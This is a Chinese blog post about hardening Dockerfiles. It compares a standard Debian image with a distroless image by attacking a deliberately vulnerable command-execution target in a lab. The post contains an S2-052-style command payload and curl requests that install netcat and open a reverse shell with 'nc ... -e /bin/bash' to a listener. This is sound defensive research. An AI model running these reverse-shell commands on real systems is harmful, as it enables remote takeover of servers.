天天都在说优化 Dockerfile。到底怎么优化, 优化后的检验指标又是什么?没有考虑清楚行动目的, 隔空放炮, 必然徒劳无功。
笔者最近准备在 CI 上增加安全检测, 在分析案例样本的时候, 找到了比较流行的 struts2 漏洞, 其中 S2-052 远程代码执行漏洞 的利用方式就是在 POST 请求中添加恶意代码或命令。
如 Demo 片段所示。
<command>
<string>touch</string>
<string>/tmp/success</string>
</command>
0x01 确认目标
既然可以远程执行命令了, 那么如何拿到服务器权限也就是必然考虑的事情, 如 webshell 、 shell 反弹 等 。
在翻阅的搜索引擎靠前《常见 shell 反弹方式和利用》的文章之后,总结如下。
shell 反弹 即** 使用** 1. 任意方式** 将** 2. /bin/sh 通过 3. 网络连接** 方式连接到 **4. ***机
其中** 任意方式 **常见为:
使用各种 程序命令 创建 shell 网络通信
使用各种 编程语言 即使构造 shell 网络通信, **对于解释型语言而言,即为依赖运行环境。**
使用 操作系统中的设备文件 创建 shell 网络通信。
以上 4个 条件中, 在预设环境中, 能管理的就有 1. 任意方式 和 2. /bin/sh。优化镜像目标已经很明确了, 精简环境, 减少 1. 和 2. 的存在
0x02 环境准备
根据目标, 设计了一个靶机, 功能是将 POST 的命令直接转换成命令执行。代码已经放在 Github 上, 任意命令执行漏洞靶机 。
并产出了两个容器镜像。
doslab/vulhub-reflect2:latest 使用 debian 官方镜像
doslab/vulhub-reflect2:static 使用 debian 精简镜像, 更多信息参考 GoogleContainerTools/distroless
0x02.1 部署靶机
## debian:buster
docker run --rm -d -p 8081:8080 doslab/vulhub-reflect2:latest
## distroless/debian-static10
docker run --rm -d -p 8082:8080 doslab/vulhub-reflect2:static
0x02.2 利用方式
向接口发送 JSON 数据, 方式如下
curl -X POST http://127.0.0.1:8081/v0/cmd -d '{
"command":"ls",
"args":["-l","-a","-h"]
0x03 实验开始
0x03.1 lastest 靶机
nc -nvlp 4444
# latest
## nc -v 192.168.233.3 4444 -e /bin/bash
curl -X POST http://192.168.233.3:8081/v0/cmd -d '{
"command":"bash",
"args":["--version"]
curl -X POST http://192.168.233.3:8081/v0/cmd -d '{
"command":"apt",
"args":["update"]
curl -X POST http://192.168.233.3:8081/v0/cmd -d '{
"command":"apt",
"args":["install", "-y", "netcat"]
curl -X POST http://192.168.233.3:8081/v0/cmd -d '{
"command":"nc",
"args":["-v", "192.168.233.3", "4444", "-e", "/bin/bash"]
0x03.2 static 靶机
攻 击机 准备监听端口 5555
nc -nvlp 5555
# static
curl -X POST http://192.168.233.3:8082/v0/cmd -d '{
"command":"bash",
"args":["--version"]
curl -X POST http://192.168.233.3:8082/v0/cmd -d '{
"command":"apt",
"args":["update"]
curl -X POST http://192.168.233.3:8082/v0/cmd -d '{
"command":"apt",
"args":["install", "-y", "netcat"]
curl -X POST http://192.168.233.3:8082/v0/cmd -d '{
"command":"nc",
"args":["-v", "192.168.233.3", "5555", "-e", "/bin/bash"]
0x04 结论
在使用了 google distroless 镜像 之后, 在一定程度上阻止了服务漏洞带来的** 常见 shell 反弹***** 。尤其是在类似 golang 这类编译型的语言, 运行环境需求相对简单。
所以, 在管理 Dockerfile 时
**选择或制作简单且符合业务需求的镜像**
2 . 干净整洁的 docker context 环境
3 . 合理的命令层级顺序, 以达到更多的 layer 复用。
其他 Dockerfile 使用探究, 可以阅读
使用 Dockerfile 构建镜像注意事项
Dockerfile 中 ARG 的使用与其的作用域探究
0xGG 参考文档
反弹Shell原理及检测技术研究
linux各种一句话反弹shell总结
反弹shell利用方式